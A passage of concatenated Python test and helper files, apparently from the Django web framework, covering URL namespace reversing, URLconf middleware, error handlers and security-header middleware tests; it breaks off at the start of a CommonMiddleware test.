        self.assertEqual('/app-included1/normal/', reverse('app-ns1:inc-normal-view'))
        self.assertEqual('/app-included1/normal/37/42/', reverse('app-ns1:inc-normal-view', args=[37, 42]))
        self.assertEqual(
            '/app-included1/normal/42/37/', reverse('app-ns1:inc-normal-view', kwargs={'arg1': 42, 'arg2': 37})
        )
        self.assertEqual('/app-included1/+%5C$*/', reverse('app-ns1:inc-special-view'))

    def test_namespace_pattern_with_variable_prefix(self):
        "When using an include with namespaces when there is a regex variable in front of it"
        self.assertEqual('/ns-outer/42/normal/', reverse('inc-outer:inc-normal-view', kwargs={'outer': 42}))
        self.assertEqual('/ns-outer/42/normal/', reverse('inc-outer:inc-normal-view', args=[42]))
        self.assertEqual(
            '/ns-outer/42/normal/37/4/',
            reverse('inc-outer:inc-normal-view', kwargs={'outer': 42, 'arg1': 37, 'arg2': 4})
        )
        self.assertEqual('/ns-outer/42/normal/37/4/', reverse('inc-outer:inc-normal-view', args=[42, 37, 4]))
        self.assertEqual('/ns-outer/42/+%5C$*/', reverse('inc-outer:inc-special-view', kwargs={'outer': 42}))
        self.assertEqual('/ns-outer/42/+%5C$*/', reverse('inc-outer:inc-special-view', args=[42]))

    def test_multiple_namespace_pattern(self):
        "Namespaces can be embedded"
        self.assertEqual('/ns-included1/test3/inner/', reverse('inc-ns1:test-ns3:urlobject-view'))
        self.assertEqual('/ns-included1/test3/inner/37/42/', reverse('inc-ns1:test-ns3:urlobject-view', args=[37, 42]))
        self.assertEqual(
            '/ns-included1/test3/inner/42/37/',
            reverse('inc-ns1:test-ns3:urlobject-view', kwargs={'arg1': 42, 'arg2': 37})
        )
        self.assertEqual('/ns-included1/test3/inner/+%5C$*/', reverse('inc-ns1:test-ns3:urlobject-special-view'))

    def test_nested_namespace_pattern(self):
        "Namespaces can be nested"
        self.assertEqual(
            '/ns-included1/ns-included4/ns-included1/test3/inner/',
            reverse('inc-ns1:inc-ns4:inc-ns1:test-ns3:urlobject-view')
        )
        self.assertEqual(
            '/ns-included1/ns-included4/ns-included1/test3/inner/37/42/',
            reverse('inc-ns1:inc-ns4:inc-ns1:test-ns3:urlobject-view', args=[37, 42])
        )
        self.assertEqual(
            '/ns-included1/ns-included4/ns-included1/test3/inner/42/37/',
            reverse('inc-ns1:inc-ns4:inc-ns1:test-ns3:urlobject-view', kwargs={'arg1': 42, 'arg2': 37})
        )
        self.assertEqual(
            '/ns-included1/ns-included4/ns-included1/test3/inner/+%5C$*/',
            reverse('inc-ns1:inc-ns4:inc-ns1:test-ns3:urlobject-special-view')
        )

    def test_app_lookup_object(self):
        "A default application namespace can be used for lookup"
        self.assertEqual('/default/inner/', reverse('testapp:urlobject-view'))
        self.assertEqual('/default/inner/37/42/', reverse('testapp:urlobject-view', args=[37, 42]))
        self.assertEqual('/default/inner/42/37/', reverse('testapp:urlobject-view', kwargs={'arg1': 42, 'arg2': 37}))
        self.assertEqual('/default/inner/+%5C$*/', reverse('testapp:urlobject-special-view'))

    def test_app_lookup_object_with_default(self):
        "A default application namespace is sensitive to the 'current' app can be used for lookup"
        self.assertEqual('/included/test3/inner/', reverse('testapp:urlobject-view', current_app='test-ns3'))
        self.assertEqual(
            '/included/test3/inner/37/42/',
            reverse('testapp:urlobject-view', args=[37, 42], current_app='test-ns3')
        )
        self.assertEqual(
            '/included/test3/inner/42/37/',
            reverse('testapp:urlobject-view', kwargs={'arg1': 42, 'arg2': 37}, current_app='test-ns3')
        )
        self.assertEqual(
            '/included/test3/inner/+%5C$*/', reverse('testapp:urlobject-special-view', current_app='test-ns3')
        )

    def test_app_lookup_object_without_default(self):
        "An application namespace without a default is sensitive to the 'current' app can be used for lookup"
        self.assertEqual('/other2/inner/', reverse('nodefault:urlobject-view'))
        self.assertEqual('/other2/inner/37/42/', reverse('nodefault:urlobject-view', args=[37, 42]))
        self.assertEqual('/other2/inner/42/37/', reverse('nodefault:urlobject-view', kwargs={'arg1': 42, 'arg2': 37}))
        self.assertEqual('/other2/inner/+%5C$*/', reverse('nodefault:urlobject-special-view'))

        self.assertEqual('/other1/inner/', reverse('nodefault:urlobject-view', current_app='other-ns1'))
        self.assertEqual(
            '/other1/inner/37/42/', reverse('nodefault:urlobject-view', args=[37, 42], current_app='other-ns1')
        )
        self.assertEqual(
            '/other1/inner/42/37/',
            reverse('nodefault:urlobject-view', kwargs={'arg1': 42, 'arg2': 37}, current_app='other-ns1')
        )
        self.assertEqual('/other1/inner/+%5C$*/', reverse('nodefault:urlobject-special-view', current_app='other-ns1'))

    def test_special_chars_namespace(self):
        self.assertEqual('/+%5C$*/included/normal/', reverse('special:inc-normal-view'))
        self.assertEqual('/+%5C$*/included/normal/37/42/', reverse('special:inc-normal-view', args=[37, 42]))
        self.assertEqual(
            '/+%5C$*/included/normal/42/37/',
            reverse('special:inc-normal-view', kwargs={'arg1': 42, 'arg2': 37})
        )
        self.assertEqual('/+%5C$*/included/+%5C$*/', reverse('special:inc-special-view'))

    def test_namespaces_with_variables(self):
        "Namespace prefixes can capture variables: see #15900"
        self.assertEqual('/inc70/', reverse('inc-ns5:inner-nothing', kwargs={'outer': '70'}))
        self.assertEqual(
            '/inc78/extra/foobar/', reverse('inc-ns5:inner-extra', kwargs={'outer': '78', 'extra': 'foobar'})
        )
        self.assertEqual('/inc70/', reverse('inc-ns5:inner-nothing', args=['70']))
        self.assertEqual('/inc78/extra/foobar/', reverse('inc-ns5:inner-extra', args=['78', 'foobar']))

    def test_nested_app_lookup(self):
        "A nested current_app should be split in individual namespaces (#24904)"
        self.assertEqual('/ns-included1/test4/inner/', reverse('inc-ns1:testapp:urlobject-view'))
        self.assertEqual('/ns-included1/test4/inner/37/42/', reverse('inc-ns1:testapp:urlobject-view', args=[37, 42]))
        self.assertEqual(
            '/ns-included1/test4/inner/42/37/',
            reverse('inc-ns1:testapp:urlobject-view', kwargs={'arg1': 42, 'arg2': 37})
        )
        self.assertEqual('/ns-included1/test4/inner/+%5C$*/', reverse('inc-ns1:testapp:urlobject-special-view'))

        self.assertEqual(
            '/ns-included1/test3/inner/',
            reverse('inc-ns1:testapp:urlobject-view', current_app='inc-ns1:test-ns3')
        )
        self.assertEqual(
            '/ns-included1/test3/inner/37/42/',
            reverse('inc-ns1:testapp:urlobject-view', args=[37, 42], current_app='inc-ns1:test-ns3')
        )
        self.assertEqual(
            '/ns-included1/test3/inner/42/37/',
            reverse('inc-ns1:testapp:urlobject-view', kwargs={'arg1': 42, 'arg2': 37}, current_app='inc-ns1:test-ns3')
        )
        self.assertEqual(
            '/ns-included1/test3/inner/+%5C$*/',
            reverse('inc-ns1:testapp:urlobject-special-view', current_app='inc-ns1:test-ns3')
        )

    def test_current_app_no_partial_match(self):
        "current_app should either match the whole path or shouldn't be used"
        self.assertEqual(
            '/ns-included1/test4/inner/',
            reverse('inc-ns1:testapp:urlobject-view', current_app='non-existent:test-ns3')
        )
        self.assertEqual(
            '/ns-included1/test4/inner/37/42/',
            reverse('inc-ns1:testapp:urlobject-view', args=[37, 42], current_app='non-existent:test-ns3')
        )
        self.assertEqual(
            '/ns-included1/test4/inner/42/37/',
            reverse('inc-ns1:testapp:urlobject-view', kwargs={'arg1': 42, 'arg2': 37},
                    current_app='non-existent:test-ns3')
        )
        self.assertEqual(
            '/ns-included1/test4/inner/+%5C$*/',
            reverse('inc-ns1:testapp:urlobject-special-view', current_app='non-existent:test-ns3')
        )


@override_settings(ROOT_URLCONF=urlconf_outer.__name__)
class RequestURLconfTests(SimpleTestCase):
    def test_urlconf(self):
        response = self.client.get('/test/me/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'outer:/test/me/,inner:/inner_urlconf/second_test/')
        response = self.client.get('/inner_urlconf/second_test/')
        self.assertEqual(response.status_code, 200)
        response = self.client.get('/second_test/')
        self.assertEqual(response.status_code, 404)

    @override_settings(
        MIDDLEWARE=[
            '%s.ChangeURLconfMiddleware' % middleware.__name__,
        ]
    )
    def test_urlconf_overridden(self):
        response = self.client.get('/test/me/')
        self.assertEqual(response.status_code, 404)
        response = self.client.get('/inner_urlconf/second_test/')
        self.assertEqual(response.status_code, 404)
        response = self.client.get('/second_test/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'outer:,inner:/second_test/')

    @override_settings(
        MIDDLEWARE=[
            '%s.NullChangeURLconfMiddleware' % middleware.__name__,
        ]
    )
    def test_urlconf_overridden_with_null(self):
        """
        Overriding request.urlconf with None will fall back to the default
        URLconf.
        """
        response = self.client.get('/test/me/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'outer:/test/me/,inner:/inner_urlconf/second_test/')
        response = self.client.get('/inner_urlconf/second_test/')
        self.assertEqual(response.status_code, 200)
        response = self.client.get('/second_test/')
        self.assertEqual(response.status_code, 404)

    @override_settings(
        MIDDLEWARE=[
            '%s.ChangeURLconfMiddleware' % middleware.__name__,
            '%s.ReverseInnerInResponseMiddleware' % middleware.__name__,
        ]
    )
    def test_reverse_inner_in_response_middleware(self):
        """
        Test reversing an URL from the *overridden* URLconf from inside
        a response middleware.
        """
        response = self.client.get('/second_test/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.content, b'/second_test/')

    @override_settings(
        MIDDLEWARE=[
            '%s.ChangeURLconfMiddleware' % middleware.__name__,
            '%s.ReverseOuterInResponseMiddleware' % middleware.__name__,
        ]
    )
    def test_reverse_outer_in_response_middleware(self):
        """
        Test reversing an URL from the *default* URLconf from inside
        a response middleware.
        """
        message = "Reverse for 'outer' with arguments '()' and keyword arguments '{}' not found."
        with self.assertRaisesMessage(NoReverseMatch, message):
            self.client.get('/second_test/')

    @override_settings(
        MIDDLEWARE=[
            '%s.ChangeURLconfMiddleware' % middleware.__name__,
            '%s.ReverseInnerInStreaming' % middleware.__name__,
        ]
    )
    def test_reverse_inner_in_streaming(self):
        """
        Test reversing an URL from the *overridden* URLconf from inside
        a streaming response.
        """
        response = self.client.get('/second_test/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(b''.join(response), b'/second_test/')

    @override_settings(
        MIDDLEWARE=[
            '%s.ChangeURLconfMiddleware' % middleware.__name__,
            '%s.ReverseOuterInStreaming' % middleware.__name__,
        ]
    )
    def test_reverse_outer_in_streaming(self):
        """
        Test reversing an URL from the *default* URLconf from inside
        a streaming response.
        """
        message = "Reverse for 'outer' with arguments '()' and keyword arguments '{}' not found."
        with self.assertRaisesMessage(NoReverseMatch, message):
            self.client.get('/second_test/')
            b''.join(self.client.get('/second_test/'))


class ErrorHandlerResolutionTests(SimpleTestCase):
    """Tests for handler400, handler404 and handler500"""

    def setUp(self):
        urlconf = 'urlpatterns_reverse.urls_error_handlers'
        urlconf_callables = 'urlpatterns_reverse.urls_error_handlers_callables'
        self.resolver = RegexURLResolver(r'^$', urlconf)
        self.callable_resolver = RegexURLResolver(r'^$', urlconf_callables)

    def test_named_handlers(self):
        handler = (empty_view, {})
        self.assertEqual(self.resolver.resolve_error_handler(400), handler)
        self.assertEqual(self.resolver.resolve_error_handler(404), handler)
        self.assertEqual(self.resolver.resolve_error_handler(500), handler)

    def test_callable_handlers(self):
        handler = (empty_view, {})
        self.assertEqual(self.callable_resolver.resolve_error_handler(400), handler)
        self.assertEqual(self.callable_resolver.resolve_error_handler(404), handler)
        self.assertEqual(self.callable_resolver.resolve_error_handler(500), handler)


@override_settings(ROOT_URLCONF='urlpatterns_reverse.urls_without_full_import')
class DefaultErrorHandlerTests(SimpleTestCase):

    def test_default_handler(self):
        "If the urls.py doesn't specify handlers, the defaults are used"
        response = self.client.get('/test/')
        self.assertEqual(response.status_code, 404)

        with self.assertRaisesMessage(ValueError, "I don't think I'm getting good"):
            self.client.get('/bad_view/')


@override_settings(ROOT_URLCONF=None)
class NoRootUrlConfTests(SimpleTestCase):
    """Tests for handler404 and handler500 if ROOT_URLCONF is None"""

    def test_no_handler_exception(self):
        with self.assertRaises(ImproperlyConfigured):
            self.client.get('/test/me/')


@override_settings(ROOT_URLCONF='urlpatterns_reverse.namespace_urls')
class ResolverMatchTests(SimpleTestCase):

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_urlpattern_resolve(self):
        for path, url_name, app_name, namespace, view_name, func, args, kwargs in resolve_test_data:
            # Test legacy support for extracting "function, args, kwargs"
            match_func, match_args, match_kwargs = resolve(path)
            self.assertEqual(match_func, func)
            self.assertEqual(match_args, args)
            self.assertEqual(match_kwargs, kwargs)

            # Test ResolverMatch capabilities.
            match = resolve(path)
            self.assertEqual(match.__class__, ResolverMatch)
            self.assertEqual(match.url_name, url_name)
            self.assertEqual(match.app_name, app_name)
            self.assertEqual(match.namespace, namespace)
            self.assertEqual(match.view_name, view_name)
            self.assertEqual(match.func, func)
            self.assertEqual(match.args, args)
            self.assertEqual(match.kwargs, kwargs)

            # ... and for legacy purposes:
            self.assertEqual(match[0], func)
            self.assertEqual(match[1], args)
            self.assertEqual(match[2], kwargs)

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_resolver_match_on_request(self):
        response = self.client.get('/resolver_match/')
        resolver_match = response.resolver_match
        self.assertEqual(resolver_match.url_name, 'test-resolver-match')

    def test_resolver_match_on_request_before_resolution(self):
        request = HttpRequest()
        self.assertIsNone(request.resolver_match)


@override_settings(ROOT_URLCONF='urlpatterns_reverse.erroneous_urls')
class ErroneousViewTests(SimpleTestCase):

    def test_noncallable_view(self):
        # View is not a callable (explicit import; arbitrary Python object)
        with self.assertRaisesMessage(TypeError, 'view must be a callable'):
            url(r'uncallable-object/$', views.uncallable)

    def test_invalid_regex(self):
        # Regex contains an error (refs #6170)
        msg = '(regex_error/$" is not a valid regular expression'
        with self.assertRaisesMessage(ImproperlyConfigured, msg):
            reverse(views.empty_view)


class ViewLoadingTests(SimpleTestCase):
    def test_view_loading(self):
        self.assertEqual(get_callable('urlpatterns_reverse.views.empty_view'), empty_view)

        # passing a callable should return the callable
        self.assertEqual(get_callable(empty_view), empty_view)

    def test_exceptions(self):
        # A missing view (identified by an AttributeError) should raise
        # ViewDoesNotExist, ...
        with six.assertRaisesRegex(self, ViewDoesNotExist, ".*View does not exist in.*"):
            get_callable('urlpatterns_reverse.views.i_should_not_exist')
        # ... but if the AttributeError is caused by something else don't
        # swallow it.
        with self.assertRaises(AttributeError):
            get_callable('urlpatterns_reverse.views_broken.i_am_broken')


class IncludeTests(SimpleTestCase):
    url_patterns = [
        url(r'^inner/$', views.empty_view, name='urlobject-view'),
        url(r'^inner/(?P<arg1>[0-9]+)/(?P<arg2>[0-9]+)/$', views.empty_view, name='urlobject-view'),
        url(r'^inner/\+\\\$\*/$', views.empty_view, name='urlobject-special-view'),
    ]
    app_urls = URLObject('inc-app')

    def test_include_app_name_but_no_namespace(self):
        msg = "Must specify a namespace if specifying app_name."
        with self.assertRaisesMessage(ValueError, msg):
            include(self.url_patterns, app_name='bar')

    def test_include_urls(self):
        self.assertEqual(include(self.url_patterns), (self.url_patterns, None, None))

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_include_namespace(self):
        # no app_name -> deprecated
        self.assertEqual(include(self.url_patterns, 'namespace'), (self.url_patterns, None, 'namespace'))

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_include_namespace_app_name(self):
        # app_name argument to include -> deprecated
        self.assertEqual(
            include(self.url_patterns, 'namespace', 'app_name'),
            (self.url_patterns, 'app_name', 'namespace')
        )

    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_include_3_tuple(self):
        # 3-tuple -> deprecated
        self.assertEqual(
            include((self.url_patterns, 'app_name', 'namespace')),
            (self.url_patterns, 'app_name', 'namespace')
        )

    def test_include_2_tuple(self):
        self.assertEqual(
            include((self.url_patterns, 'app_name')),
            (self.url_patterns, 'app_name', 'app_name')
        )

    def test_include_2_tuple_namespace(self):
        self.assertEqual(
            include((self.url_patterns, 'app_name'), namespace='namespace'),
            (self.url_patterns, 'app_name', 'namespace')
        )

    def test_include_app_name(self):
        self.assertEqual(
            include(self.app_urls),
            (self.app_urls, 'inc-app', 'inc-app')
        )

    def test_include_app_name_namespace(self):
        self.assertEqual(
            include(self.app_urls, 'namespace'),
            (self.app_urls, 'inc-app', 'namespace')
        )


@override_settings(ROOT_URLCONF='urlpatterns_reverse.urls')
class LookaheadTests(SimpleTestCase):
    def test_valid_resolve(self):
        test_urls = [
            '/lookahead-/a-city/',
            '/lookbehind-/a-city/',
            '/lookahead+/a-city/',
            '/lookbehind+/a-city/',
        ]
        for test_url in test_urls:
            match = resolve(test_url)
            self.assertEqual(match.kwargs, {'city': 'a-city'})

    def test_invalid_resolve(self):
        test_urls = [
            '/lookahead-/not-a-city/',
            '/lookbehind-/not-a-city/',
            '/lookahead+/other-city/',
            '/lookbehind+/other-city/',
        ]
        for test_url in test_urls:
            with self.assertRaises(Resolver404):
                resolve(test_url)

    def test_valid_reverse(self):
        url = reverse('lookahead-positive', kwargs={'city': 'a-city'})
        self.assertEqual(url, '/lookahead+/a-city/')
        url = reverse('lookahead-negative', kwargs={'city': 'a-city'})
        self.assertEqual(url, '/lookahead-/a-city/')

        url = reverse('lookbehind-positive', kwargs={'city': 'a-city'})
        self.assertEqual(url, '/lookbehind+/a-city/')
        url = reverse('lookbehind-negative', kwargs={'city': 'a-city'})
        self.assertEqual(url, '/lookbehind-/a-city/')

    def test_invalid_reverse(self):
        with self.assertRaises(NoReverseMatch):
            reverse('lookahead-positive', kwargs={'city': 'other-city'})
        with self.assertRaises(NoReverseMatch):
            reverse('lookahead-negative', kwargs={'city': 'not-a-city'})

        with self.assertRaises(NoReverseMatch):
            reverse('lookbehind-positive', kwargs={'city': 'other-city'})
        with self.assertRaises(NoReverseMatch):
            reverse('lookbehind-negative', kwargs={'city': 'not-a-city'})






# Used by the ErrorHandlerResolutionTests test case.

from .views import empty_view

urlpatterns = []

handler400 = empty_view
handler404 = empty_view
handler500 = empty_view






from django.conf.urls import url


class ViewContainer(object):
    def method_view(self, request):
        pass

    @classmethod
    def classmethod_view(cls, request):
        pass

view_container = ViewContainer()


urlpatterns = [
    url(r'^$', view_container.method_view, name='instance-method-url'),
    url(r'^$', ViewContainer.classmethod_view, name='instance-method-url'),
]






from django.conf.urls import url
from django.http import HttpResponse
from django.template import Context, Template


def inner_view(request):
    content = Template('{% url "outer" as outer_url %}outer:{{ outer_url }},'
                       '{% url "inner" as inner_url %}inner:{{ inner_url }}').render(Context())
    return HttpResponse(content)

urlpatterns = [
    url(r'^second_test/$', inner_view, name='inner'),
]






from django.conf.urls import include, url

from .views import empty_view

urlpatterns = [
    url(r'^$', empty_view, name="named-url3"),
    url(r'^extra/(?P<extra>\w+)/$', empty_view, name="named-url4"),
    url(r'^(?P<one>[0-9]+)|(?P<two>[0-9]+)/$', empty_view),
    url(r'^included/', include('urlpatterns_reverse.included_named_urls2')),
]






from django.conf.urls import url

from . import views

urlpatterns = [
    url(r'(regex_error/$', views.empty_view),
]






from django.conf.urls import include, url
from django.views import View


def view1(request):
    pass


def view2(request):
    pass


class View3(View):
    pass


nested = ([
    url(r'^view1/$', view1, name='view1'),
    url(r'^view3/$', View3.as_view(), name='view3'),
], 'backend')

urlpatterns = [
    url(r'^some/path/', include(nested, namespace='nested')),
    url(r'^view2/$', view2, name='view2'),
]






from __future__ import unicode_literals

from django.conf.urls import url

from . import views


class URLObject(object):
    urlpatterns = [
        url(r'^inner/$', views.empty_view, name='urlobject-view'),
        url(r'^inner/(?P<arg1>[0-9]+)/(?P<arg2>[0-9]+)/$', views.empty_view, name='urlobject-view'),
        url(r'^inner/\+\\\$\*/$', views.empty_view, name='urlobject-special-view'),
    ]

    def __init__(self, app_name, namespace=None):
        self.app_name = app_name
        self.namespace = namespace

    @property
    def urls(self):
        return self.urlpatterns, self.app_name, self.namespace

    @property
    def app_urls(self):
        return self.urlpatterns, self.app_name






from django.conf.urls import include, url

from . import urlconf_inner

urlpatterns = [
    url(r'^test/me/$', urlconf_inner.inner_view, name='outer'),
    url(r'^inner_urlconf/', include(urlconf_inner.__name__))
]






def view(request):
    """Stub view"""
    pass






from django.http import HttpResponse, StreamingHttpResponse
from django.urls import reverse
from django.utils.deprecation import MiddlewareMixin

from . import urlconf_inner


class ChangeURLconfMiddleware(MiddlewareMixin):
    def process_request(self, request):
        request.urlconf = urlconf_inner.__name__


class NullChangeURLconfMiddleware(MiddlewareMixin):
    def process_request(self, request):
        request.urlconf = None


class ReverseInnerInResponseMiddleware(MiddlewareMixin):
    def process_response(self, *args, **kwargs):
        return HttpResponse(reverse('inner'))


class ReverseOuterInResponseMiddleware(MiddlewareMixin):
    def process_response(self, *args, **kwargs):
        return HttpResponse(reverse('outer'))


class ReverseInnerInStreaming(MiddlewareMixin):
    def process_view(self, *args, **kwargs):
        def stream():
            yield reverse('inner')
        return StreamingHttpResponse(stream())


class ReverseOuterInStreaming(MiddlewareMixin):
    def process_view(self, *args, **kwargs):
        def stream():
            yield reverse('outer')
        return StreamingHttpResponse(stream())






from django.conf.urls import url
from django.http import HttpResponse

urlpatterns = [
    url(r'^$', lambda request: HttpResponse('root is here')),
]






from django.conf.urls import url

from . import views

urlpatterns = [
    url(r'^customurlconf/noslash$', views.empty_view),
    url(r'^customurlconf/slash/$', views.empty_view),
    url(r'^customurlconf/needsquoting#/$', views.empty_view),
]






from django.http import HttpResponse


def empty_view(request, *args, **kwargs):
    return HttpResponse('')






from django.http import HttpResponse
from django.test import RequestFactory, SimpleTestCase
from django.test.utils import override_settings


class SecurityMiddlewareTest(SimpleTestCase):
    @property
    def middleware(self):
        from django.middleware.security import SecurityMiddleware
        return SecurityMiddleware()

    @property
    def secure_request_kwargs(self):
        return {"wsgi.url_scheme": "https"}

    def response(self, *args, **kwargs):
        headers = kwargs.pop("headers", {})
        response = HttpResponse(*args, **kwargs)
        for k, v in headers.items():
            response[k] = v
        return response

    def process_response(self, *args, **kwargs):
        request_kwargs = {}
        if kwargs.pop("secure", False):
            request_kwargs.update(self.secure_request_kwargs)
        request = (kwargs.pop("request", None) or
                   self.request.get("/some/url", **request_kwargs))
        ret = self.middleware.process_request(request)
        if ret:
            return ret
        return self.middleware.process_response(
            request, self.response(*args, **kwargs))

    request = RequestFactory()

    def process_request(self, method, *args, **kwargs):
        if kwargs.pop("secure", False):
            kwargs.update(self.secure_request_kwargs)
        req = getattr(self.request, method.lower())(*args, **kwargs)
        return self.middleware.process_request(req)

    @override_settings(SECURE_HSTS_SECONDS=3600)
    def test_sts_on(self):
        """
        With HSTS_SECONDS=3600, the middleware adds
        "strict-transport-security: max-age=3600" to the response.
        """
        self.assertEqual(
            self.process_response(secure=True)["strict-transport-security"],
            "max-age=3600")

    @override_settings(SECURE_HSTS_SECONDS=3600)
    def test_sts_already_present(self):
        """
        The middleware will not override a "strict-transport-security" header
        already present in the response.
        """
        response = self.process_response(
            secure=True,
            headers={"strict-transport-security": "max-age=7200"})
        self.assertEqual(response["strict-transport-security"], "max-age=7200")

    @override_settings(HSTS_SECONDS=3600)
    def test_sts_only_if_secure(self):
        """
        The "strict-transport-security" header is not added to responses going
        over an insecure connection.
        """
        self.assertNotIn("strict-transport-security", self.process_response(secure=False))

    @override_settings(HSTS_SECONDS=0)
    def test_sts_off(self):
        """
        With HSTS_SECONDS of 0, the middleware does not add a
        "strict-transport-security" header to the response.
        """
        self.assertNotIn("strict-transport-security", self.process_response(secure=True))

    @override_settings(
        SECURE_HSTS_SECONDS=600, SECURE_HSTS_INCLUDE_SUBDOMAINS=True)
    def test_sts_include_subdomains(self):
        """
        With HSTS_SECONDS non-zero and HSTS_INCLUDE_SUBDOMAINS
        True, the middleware adds a "strict-transport-security" header with the
        "includeSubDomains" directive to the response.
        """
        response = self.process_response(secure=True)
        self.assertEqual(response["strict-transport-security"], "max-age=600; includeSubDomains")

    @override_settings(
        SECURE_HSTS_SECONDS=600, SECURE_HSTS_INCLUDE_SUBDOMAINS=False)
    def test_sts_no_include_subdomains(self):
        """
        With HSTS_SECONDS non-zero and HSTS_INCLUDE_SUBDOMAINS
        False, the middleware adds a "strict-transport-security" header without
        the "includeSubDomains" directive to the response.
        """
        response = self.process_response(secure=True)
        self.assertEqual(response["strict-transport-security"], "max-age=600")

    @override_settings(SECURE_HSTS_SECONDS=10886400, SECURE_HSTS_PRELOAD=True)
    def test_sts_preload(self):
        """
        With HSTS_SECONDS non-zero and SECURE_HSTS_PRELOAD True, the middleware
        adds a "strict-transport-security" header with the "preload" directive
        to the response.
        """
        response = self.process_response(secure=True)
        self.assertEqual(response["strict-transport-security"], "max-age=10886400; preload")

    @override_settings(SECURE_HSTS_SECONDS=10886400, SECURE_HSTS_INCLUDE_SUBDOMAINS=True, SECURE_HSTS_PRELOAD=True)
    def test_sts_subdomains_and_preload(self):
        """
        With HSTS_SECONDS non-zero, SECURE_HSTS_INCLUDE_SUBDOMAINS and
        SECURE_HSTS_PRELOAD True, the middleware adds a "strict-transport-security"
        header containing both the "includeSubDomains" and "preload" directives
        to the response.
        """
        response = self.process_response(secure=True)
        self.assertEqual(response["strict-transport-security"], "max-age=10886400; includeSubDomains; preload")

    @override_settings(SECURE_HSTS_SECONDS=10886400, SECURE_HSTS_PRELOAD=False)
    def test_sts_no_preload(self):
        """
        With HSTS_SECONDS non-zero and SECURE_HSTS_PRELOAD
        False, the middleware adds a "strict-transport-security" header without
        the "preload" directive to the response.
        """
        response = self.process_response(secure=True)
        self.assertEqual(response["strict-transport-security"], "max-age=10886400")

    @override_settings(SECURE_CONTENT_TYPE_NOSNIFF=True)
    def test_content_type_on(self):
        """
        With CONTENT_TYPE_NOSNIFF set to True, the middleware adds
        "x-content-type-options: nosniff" header to the response.
        """
        self.assertEqual(self.process_response()["x-content-type-options"], "nosniff")

    @override_settings(SECURE_CONTENT_TYPE_NOSNIFF=True)
    def test_content_type_already_present(self):
        """
        The middleware will not override an "x-content-type-options" header
        already present in the response.
        """
        response = self.process_response(secure=True, headers={"x-content-type-options": "foo"})
        self.assertEqual(response["x-content-type-options"], "foo")

    @override_settings(SECURE_CONTENT_TYPE_NOSNIFF=False)
    def test_content_type_off(self):
        """
        With CONTENT_TYPE_NOSNIFF False, the middleware does not add an
        "x-content-type-options" header to the response.
        """
        self.assertNotIn("x-content-type-options", self.process_response())

    @override_settings(SECURE_BROWSER_XSS_FILTER=True)
    def test_xss_filter_on(self):
        """
        With BROWSER_XSS_FILTER set to True, the middleware adds
        "s-xss-protection: 1; mode=block" header to the response.
        """
        self.assertEqual(
            self.process_response()["x-xss-protection"],
            "1; mode=block")

    @override_settings(SECURE_BROWSER_XSS_FILTER=True)
    def test_xss_filter_already_present(self):
        """
        The middleware will not override an "x-xss-protection" header
        already present in the response.
        """
        response = self.process_response(secure=True, headers={"x-xss-protection": "foo"})
        self.assertEqual(response["x-xss-protection"], "foo")

    @override_settings(BROWSER_XSS_FILTER=False)
    def test_xss_filter_off(self):
        """
        With BROWSER_XSS_FILTER set to False, the middleware does not add an
        "x-xss-protection" header to the response.
        """
        self.assertNotIn("x-xss-protection", self.process_response())

    @override_settings(SECURE_SSL_REDIRECT=True)
    def test_ssl_redirect_on(self):
        """
        With SSL_REDIRECT True, the middleware redirects any non-secure
        requests to the https:// version of the same URL.
        """
        ret = self.process_request("get", "/some/url?query=string")
        self.assertEqual(ret.status_code, 301)
        self.assertEqual(
            ret["Location"], "https://testserver/some/url?query=string")

    @override_settings(SECURE_SSL_REDIRECT=True)
    def test_no_redirect_ssl(self):
        """
        The middleware does not redirect secure requests.
        """
        ret = self.process_request("get", "/some/url", secure=True)
        self.assertIsNone(ret)

    @override_settings(
        SECURE_SSL_REDIRECT=True, SECURE_REDIRECT_EXEMPT=["^insecure/"])
    def test_redirect_exempt(self):
        """
        The middleware does not redirect requests with URL path matching an
        exempt pattern.
        """
        ret = self.process_request("get", "/insecure/page")
        self.assertIsNone(ret)

    @override_settings(
        SECURE_SSL_REDIRECT=True, SECURE_SSL_HOST="secure.example.com")
    def test_redirect_ssl_host(self):
        """
        The middleware redirects to SSL_HOST if given.
        """
        ret = self.process_request("get", "/some/url")
        self.assertEqual(ret.status_code, 301)
        self.assertEqual(ret["Location"], "https://secure.example.com/some/url")

    @override_settings(SECURE_SSL_REDIRECT=False)
    def test_ssl_redirect_off(self):
        """
        With SSL_REDIRECT False, the middleware does no redirect.
        """
        ret = self.process_request("get", "/some/url")
        self.assertIsNone(ret)






from django.conf.urls import url

from . import views

urlpatterns = [
    url(r'^noslash$', views.empty_view),
    url(r'^slash/$', views.empty_view),
    url(r'^needsquoting#/$', views.empty_view),
]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import gzip
import random
import re
from io import BytesIO
from unittest import skipIf

from django.conf import settings
from django.core import mail
from django.core.exceptions import PermissionDenied
from django.http import (
    FileResponse, HttpRequest, HttpResponse, HttpResponseNotFound,
    HttpResponsePermanentRedirect, HttpResponseRedirect, StreamingHttpResponse,
)
from django.middleware.clickjacking import XFrameOptionsMiddleware
from django.middleware.common import (
    BrokenLinkEmailsMiddleware, CommonMiddleware,
)
from django.middleware.gzip import GZipMiddleware
from django.middleware.http import ConditionalGetMiddleware
from django.test import RequestFactory, SimpleTestCase, override_settings
from django.utils import six
from django.utils.encoding import force_str
from django.utils.six.moves import range
from django.utils.six.moves.urllib.parse import quote


@override_settings(ROOT_URLCONF='middleware.urls')
class CommonMiddlewareTest(SimpleTestCase):

    rf = RequestFactory()

    @override_settings(APPEND_SLASH=True)
    def test_append_slash_have_slash(self):
        """
        URLs with slashes should go unmolested.
        """
        request = self.rf.get('/slash/')
        self.assertIsNone(CommonMiddleware().process_request(request))
        response = HttpResponseNotFound()
        self.assertEqual(CommonMiddleware().process_response(request, response), response)

    @override_settings(APPEND_SLASH=True)
    def test_append_slash_slashless_resource(self):
        """
